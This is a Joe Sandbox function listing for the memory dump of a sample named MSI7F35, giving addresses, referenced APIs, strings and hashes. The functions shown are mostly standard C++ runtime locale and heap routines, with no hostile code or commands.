Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AddressConditionCurrentHandleModuleProcProcessVariableWake
String ID: IsWow64Process$kernel32
API String ID: 2056477612-3789238822
Opcode ID: 605d6085fa51cb8937fc6c974eabf9886249d25529c6abeafca0460968eabb7e
Instruction ID: b733f534335a56ccd7d8300be20d944d36bd05f4e8d47010b0f70443f45ceb1f
Opcode Fuzzy Hash: 605d6085fa51cb8937fc6c974eabf9886249d25529c6abeafca0460968eabb7e
Instruction Fuzzy Hash: 7511D372D45B14EFCB10CFA4EC05B99B7A8F709B21F10466AE921E33D0EB79A904CB55

Function 00838461 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,58A46C4B,?,?,00000000,0084CBE4,000000FF,?,008383F1,?,?,008383C5,?), ref: 00838496
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 008384A8
FreeLibrary.KERNEL32(00000000,?,00000000,0084CBE4,000000FF,?,008383F1,?,?,008383C5,?), ref: 008384CA

Strings

mscoree.dll, xrefs: 0083848F
CorExitProcess, xrefs: 008384A0

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 2d3af572e4ab0dc8e4dde87c434fcdca456a2c78a43c49d4391a99983b83e754
Instruction ID: 1ea47127e04ba83ef750f36b4ab680ed6b8570fa986394cb0d80c587ffd40562
Opcode Fuzzy Hash: 2d3af572e4ab0dc8e4dde87c434fcdca456a2c78a43c49d4391a99983b83e754
Instruction Fuzzy Hash: 2101A235944729EBDF018F50DC09BAEBBB8FB45B11F004525FC21E2690DBB89900CA90

Function 0081DDD2 Relevance: 7.9, APIs: 5, Instructions: 433COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0081DDD9
collate.LIBCPMT ref: 0081DF54
numpunct.LIBCPMT ref: 0081E1CE

Part of subcall function 008183C2: __EH_prolog3.LIBCMT ref: 008183C9

Part of subcall function 0081815A: __EH_prolog3.LIBCMT ref: 00818161
Part of subcall function 0081815A: std::_Lockit::_Lockit.LIBCPMT ref: 0081816B
Part of subcall function 0081815A: std::_Lockit::~_Lockit.LIBCPMT ref: 008181DC

Part of subcall function 0080EAF0: std::_Lockit::_Lockit.LIBCPMT ref: 0080EB1D
Part of subcall function 0080EAF0: std::_Lockit::_Lockit.LIBCPMT ref: 0080EB40
Part of subcall function 0080EAF0: std::_Lockit::~_Lockit.LIBCPMT ref: 0080EB68
Part of subcall function 0080EAF0: std::_Lockit::~_Lockit.LIBCPMT ref: 0080EC07

Part of subcall function 00814403: Concurrency::cancel_current_task.LIBCPMT ref: 008144C6

Part of subcall function 0081764B: __EH_prolog3.LIBCMT ref: 00817652
Part of subcall function 0081764B: std::_Lockit::_Lockit.LIBCPMT ref: 0081765C
Part of subcall function 0081764B: std::_Lockit::~_Lockit.LIBCPMT ref: 008176CD

__Getcoll.LIBCPMT ref: 0081DF94

Part of subcall function 0080BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 0080BD10
Part of subcall function 0080BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 0080BD38

Part of subcall function 008084C0: LocalAlloc.KERNEL32(00000040,00000000,0082839D,00000000,58A46C4B,?,00000000,?,00000000,?,0084CB8D,000000FF,?,008017D5,00000000,0084D3BA), ref: 008084C6

Part of subcall function 0080B9E0: __Getctype.LIBCPMT ref: 0080B9EB

Part of subcall function 00817A5E: __EH_prolog3.LIBCMT ref: 00817A65
Part of subcall function 00817A5E: std::_Lockit::_Lockit.LIBCPMT ref: 00817A6F
Part of subcall function 00817A5E: std::_Lockit::~_Lockit.LIBCPMT ref: 00817AE0

Part of subcall function 00817B88: __EH_prolog3.LIBCMT ref: 00817B8F
Part of subcall function 00817B88: std::_Lockit::_Lockit.LIBCPMT ref: 00817B99
Part of subcall function 00817B88: std::_Lockit::~_Lockit.LIBCPMT ref: 00817C0A

Part of subcall function 00817DDC: __EH_prolog3.LIBCMT ref: 00817DE3
Part of subcall function 00817DDC: std::_Lockit::_Lockit.LIBCPMT ref: 00817DED
Part of subcall function 00817DDC: std::_Lockit::~_Lockit.LIBCPMT ref: 00817E5E

Part of subcall function 00817D47: __EH_prolog3.LIBCMT ref: 00817D4E
Part of subcall function 00817D47: std::_Lockit::_Lockit.LIBCPMT ref: 00817D58
Part of subcall function 00817D47: std::_Lockit::~_Lockit.LIBCPMT ref: 00817DC9

Part of subcall function 00814403: __EH_prolog3.LIBCMT ref: 0081440A
Part of subcall function 00814403: std::_Lockit::_Lockit.LIBCPMT ref: 00814414
Part of subcall function 00814403: std::_Lockit::~_Lockit.LIBCPMT ref: 008144BB

codecvt.LIBCPMT ref: 0081E27F

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3$AllocConcurrency::cancel_current_taskGetcollGetctypeLocalcodecvtcollatenumpunct
String ID:
API String ID: 2252558201-0
Opcode ID: 5cdd1bef953045a532ac9235778a0a425b35ff7a5de13fb0f2fcdf7e99bd2546
Instruction ID: ae07034539ae9e6dc193c08d58443954be7465e400ce0328cd00bf591787510d
Opcode Fuzzy Hash: 5cdd1bef953045a532ac9235778a0a425b35ff7a5de13fb0f2fcdf7e99bd2546
Instruction Fuzzy Hash: 8DE1C1B180061AABDB216FA88C026FF7AADFF51350F15442DF959DB281EF718D908792

Function 0083C382 Relevance: 7.7, APIs: 5, Instructions: 202COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0083C409
__alloca_probe_16.LIBCMT ref: 0083C4CA
__freea.LIBCMT ref: 0083C531

Part of subcall function 0083B127: HeapAlloc.KERNEL32(00000000,?,?,?,0083AAAA,?,00000000,?,0082C282,?,?,?,?,?,?,00801668), ref: 0083B159

__freea.LIBCMT ref: 0083C546
__freea.LIBCMT ref: 0083C556

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: 87639328fbb7a7e8f114166af3f7f79edb7a4fc392a5f85a79e81167dba0e928
Instruction ID: ce884e183176285a98440d5f51cbc5a7edb860ac64346a2a5ba4464c568def46
Opcode Fuzzy Hash: 87639328fbb7a7e8f114166af3f7f79edb7a4fc392a5f85a79e81167dba0e928
Instruction Fuzzy Hash: F551A17260021AAFEF215F69DC41EBB36A9FF84354F154128FD09E6151EB31ED5087E1

Function 0080C590 Relevance: 7.6, APIs: 5, Instructions: 116COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0080C5BD
std::_Lockit::_Lockit.LIBCPMT ref: 0080C5E0
std::_Lockit::~_Lockit.LIBCPMT ref: 0080C608
std::_Facet_Register.LIBCPMT ref: 0080C67D
std::_Lockit::~_Lockit.LIBCPMT ref: 0080C6A7

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: 5da6f80315052ae0cad6c7b676428a5763c7f9ac33878682dea9735b6a0eafa5
Instruction ID: bddfc1d6b9c17624e21ab0c676d7a253fac56ebdba646542db480ecd97dcc0dd
Opcode Fuzzy Hash: 5da6f80315052ae0cad6c7b676428a5763c7f9ac33878682dea9735b6a0eafa5
Instruction Fuzzy Hash: 9941CE71800659DFCB60CF98D840BAEBBB8FF54310F194269E824AB391D771AE44CB91

Function 0080EAF0 Relevance: 7.6, APIs: 5, Instructions: 109COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0080EB1D
std::_Lockit::_Lockit.LIBCPMT ref: 0080EB40
std::_Lockit::~_Lockit.LIBCPMT ref: 0080EB68
std::_Facet_Register.LIBCPMT ref: 0080EBDD
std::_Lockit::~_Lockit.LIBCPMT ref: 0080EC07

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: ac5610949f0c08516d492327900ca2d201268806b87af912e569ffe6f5f73102
Instruction ID: b4c1e2c2ccacb4a139692743f4768f510f745b3956537fd79dfc2a8779fc6324
Opcode Fuzzy Hash: ac5610949f0c08516d492327900ca2d201268806b87af912e569ffe6f5f73102
Instruction Fuzzy Hash: 0541BD71800659DFCB21CF58DC80BAEBBB8FB44724F15469AE811A73D1E770AE44CB92

Function 0080EC30 Relevance: 7.6, APIs: 5, Instructions: 109COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0080EC5D
std::_Lockit::_Lockit.LIBCPMT ref: 0080EC80
std::_Lockit::~_Lockit.LIBCPMT ref: 0080ECA8
std::_Facet_Register.LIBCPMT ref: 0080ED1D
std::_Lockit::~_Lockit.LIBCPMT ref: 0080ED47

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: 7358c8ab014d91b36463a737332f244e0ae696b0b01506495c15bb6aa562b345
Instruction ID: 9750f60e38ea9388c53d334076fae38bf21453ee43264585204a70e00533377d
Opcode Fuzzy Hash: 7358c8ab014d91b36463a737332f244e0ae696b0b01506495c15bb6aa562b345
Instruction Fuzzy Hash: 9C41CE71800699DFDB21CF58D840BAEBBB8FF44724F15465AE810AB391E771AE44CBD2

Function 0080ED70 Relevance: 7.6, APIs: 5, Instructions: 109COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0080ED9D
std::_Lockit::_Lockit.LIBCPMT ref: 0080EDC0
std::_Lockit::~_Lockit.LIBCPMT ref: 0080EDE8
std::_Facet_Register.LIBCPMT ref: 0080EE5D
std::_Lockit::~_Lockit.LIBCPMT ref: 0080EE87

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: 18db56a48cf5eb0487be4ef837489b72609121dbe84ce408157331d086fd19a2
Instruction ID: 693f85201c4e5e842e6e9444b5e7d042caaccc39c1db97e4b2788beec4095a65
Opcode Fuzzy Hash: 18db56a48cf5eb0487be4ef837489b72609121dbe84ce408157331d086fd19a2
Instruction Fuzzy Hash: 5441DD31900659DFCB61CF58CC84BAEBBB8FF44324F154A59E810A7391D770AE84CB91

Function 00807C30 Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 83COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000010,00000010,?,00807912,?,?), ref: 00807C37

Strings

Call to ShellExecuteEx() returned:, xrefs: 00807C5D
Last error=, xrefs: 00807CC1
true, xrefs: 00807C41
false, xrefs: 00807C46

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: ErrorLast
String ID: Call to ShellExecuteEx() returned:$Last error=$false$true
API String ID: 1452528299-1782174991
Opcode ID: edb7de6096a4d803947fee525bae2ab1d43a284b22f099ea48c482c673b1cc48
Instruction ID: e200e6fe3941285512d25b7b0b3f016494dcf76171fbc28f6f854c2b4f85cbc3
Opcode Fuzzy Hash: edb7de6096a4d803947fee525bae2ab1d43a284b22f099ea48c482c673b1cc48
Instruction Fuzzy Hash: B3213649A202A286DBB41F6C8800336A3E0FF64746F65186FEDC8D7290E6698CC68394

Function 00816FF9 Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

_Maklocstr.LIBCPMT ref: 00817019
_Maklocstr.LIBCPMT ref: 00817036
_Maklocstr.LIBCPMT ref: 00817053
_Maklocchr.LIBCPMT ref: 00817065
_Maklocchr.LIBCPMT ref: 00817078

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: Maklocstr$Maklocchr
String ID:
API String ID: 2020259771-0
Opcode ID: 06889f3e2ef8008d45dc3825c58ebdb9bcbd2b0db7a642229adadecffd8ca361
Instruction ID: 37b8793fae22bb46aa7276f5082e02e96ad3f991a420f182e061250816e5d1ff
Opcode Fuzzy Hash: 06889f3e2ef8008d45dc3825c58ebdb9bcbd2b0db7a642229adadecffd8ca361
Instruction Fuzzy Hash: 26118FB1508B84BBE720DBA59881F92B7FCFF08310F040519F29ACBA41D275FD9587A5

Function 00812823 Relevance: 7.6, APIs: 5, Instructions: 53COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0081282A
std::_Lockit::_Lockit.LIBCPMT ref: 00812834

Part of subcall function 0080BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 0080BD10
Part of subcall function 0080BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 0080BD38

numpunct.LIBCPMT ref: 0081286E
std::_Facet_Register.LIBCPMT ref: 00812885
std::_Lockit::~_Lockit.LIBCPMT ref: 008128A5

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registernumpunct
String ID:
API String ID: 743221004-0
Opcode ID: 2cc89d0beb5fc32e82aebb5cc3601a439b33ffae22727a25514979eb6ee81129
Instruction ID: f495421c941c7c9e048401c886f00ed0a78df14bf3f371a72ffd9f119a0f2fc3
Opcode Fuzzy Hash: 2cc89d0beb5fc32e82aebb5cc3601a439b33ffae22727a25514979eb6ee81129
Instruction Fuzzy Hash: 0311E135901229CBCF04EB68D8516EE7BA9FFD0710F280029E810EB2D1DF709E81CB82

Function 00818030 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00818037
std::_Lockit::_Lockit.LIBCPMT ref: 00818041

Part of subcall function 0080BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 0080BD10
Part of subcall function 0080BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 0080BD38

numpunct.LIBCPMT ref: 0081807B
std::_Facet_Register.LIBCPMT ref: 00818092
std::_Lockit::~_Lockit.LIBCPMT ref: 008180B2

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registernumpunct
String ID:
API String ID: 743221004-0
Opcode ID: 2c38c158d6ce7c15ff0d847a5db1a6e1405248ee0be5f290862d9746be91a61c
Instruction ID: cc0b549284928d8a7e4e6d39f075e4dfa34b464f1e821bb297070bc041558802
Opcode Fuzzy Hash: 2c38c158d6ce7c15ff0d847a5db1a6e1405248ee0be5f290862d9746be91a61c
Instruction Fuzzy Hash: 4A018436900629DBCF05EBA8DC466EDBB65FF84310F150509E510E72D2DF759E858B82

Function 008175B6 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 008175BD
std::_Lockit::_Lockit.LIBCPMT ref: 008175C7

Part of subcall function 0080BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 0080BD10
Part of subcall function 0080BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 0080BD38

codecvt.LIBCPMT ref: 00817601
std::_Facet_Register.LIBCPMT ref: 00817618
std::_Lockit::~_Lockit.LIBCPMT ref: 00817638

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercodecvt
String ID:
API String ID: 712880209-0
Opcode ID: 007fb1c11da61213cea443b24eb33f55cd7216e4b18c8998debc4b7910df7f9f
Instruction ID: cde6a559f0fb63bfb889b2c2d42a3cdd09c47a413c1403311825ace2edf7e1f4
Opcode Fuzzy Hash: 007fb1c11da61213cea443b24eb33f55cd7216e4b18c8998debc4b7910df7f9f
Instruction Fuzzy Hash: C001AD35904629DBCB00EBACD805AEDBB79FF90310F240109E411EB2D2DF709A81CB82

Function 008176E0 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 008176E7
std::_Lockit::_Lockit.LIBCPMT ref: 008176F1

Part of subcall function 0080BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 0080BD10
Part of subcall function 0080BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 0080BD38

collate.LIBCPMT ref: 0081772B
std::_Facet_Register.LIBCPMT ref: 00817742
std::_Lockit::~_Lockit.LIBCPMT ref: 00817762

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercollate
String ID:
API String ID: 1007100420-0
Opcode ID: 9d955b8d6920e3ea9df4659a975debc92e9ebbbb1f71cb5d5db45c4ef1ee83f3
Instruction ID: 6695d55f8578e48c1934323c014b86f218ad801d8458887e319e911e39e570b6
Opcode Fuzzy Hash: 9d955b8d6920e3ea9df4659a975debc92e9ebbbb1f71cb5d5db45c4ef1ee83f3
Instruction Fuzzy Hash: 7F01D635904629DBCF00EBA8D8056ED7B79FF80310F240509E411E72D2DF749E41C782

Function 0081764B Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00817652
std::_Lockit::_Lockit.LIBCPMT ref: 0081765C

Part of subcall function 0080BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 0080BD10
Part of subcall function 0080BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 0080BD38

codecvt.LIBCPMT ref: 00817696
std::_Facet_Register.LIBCPMT ref: 008176AD
std::_Lockit::~_Lockit.LIBCPMT ref: 008176CD

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercodecvt
String ID:
API String ID: 712880209-0
Opcode ID: 6c7f077a4c79655e8f021a6656c8d18ae6e582ce5e82c7a31179aca5a91515bd
Instruction ID: 2d97c71320d7d6c4654fe9126a0d18f3b49246ab13a803def84d0abdebcd786d
Opcode Fuzzy Hash: 6c7f077a4c79655e8f021a6656c8d18ae6e582ce5e82c7a31179aca5a91515bd
Instruction Fuzzy Hash: B901C435904A29DBCF00EBACC8066EEB775FF94311F150009E510EB2D1DF709E818B82

Function 00812664 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0081266B
std::_Lockit::_Lockit.LIBCPMT ref: 00812675

Part of subcall function 0080BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 0080BD10
Part of subcall function 0080BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 0080BD38

codecvt.LIBCPMT ref: 008126AF
std::_Facet_Register.LIBCPMT ref: 008126C6
std::_Lockit::~_Lockit.LIBCPMT ref: 008126E6

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercodecvt
String ID:
API String ID: 712880209-0
Opcode ID: 0bfc48e8ac3561184777cba25f131008cfaacd5c4a45467778555b0b6856f28a
Instruction ID: 8d88ad33a152c1ff19fc1bc7f527ba3a0c6bffa3e7e7fcdc14b75c33f942d88c
Opcode Fuzzy Hash: 0bfc48e8ac3561184777cba25f131008cfaacd5c4a45467778555b0b6856f28a
Instruction Fuzzy Hash: E401D235900269DBCF04EB68DC056FEBBA9FF90310F250009E410EB2D1DF709E918B82

Function 00817775 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0081777C
std::_Lockit::_Lockit.LIBCPMT ref: 00817786

Part of subcall function 0080BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 0080BD10
Part of subcall function 0080BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 0080BD38

collate.LIBCPMT ref: 008177C0
std::_Facet_Register.LIBCPMT ref: 008177D7
std::_Lockit::~_Lockit.LIBCPMT ref: 008177F7

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
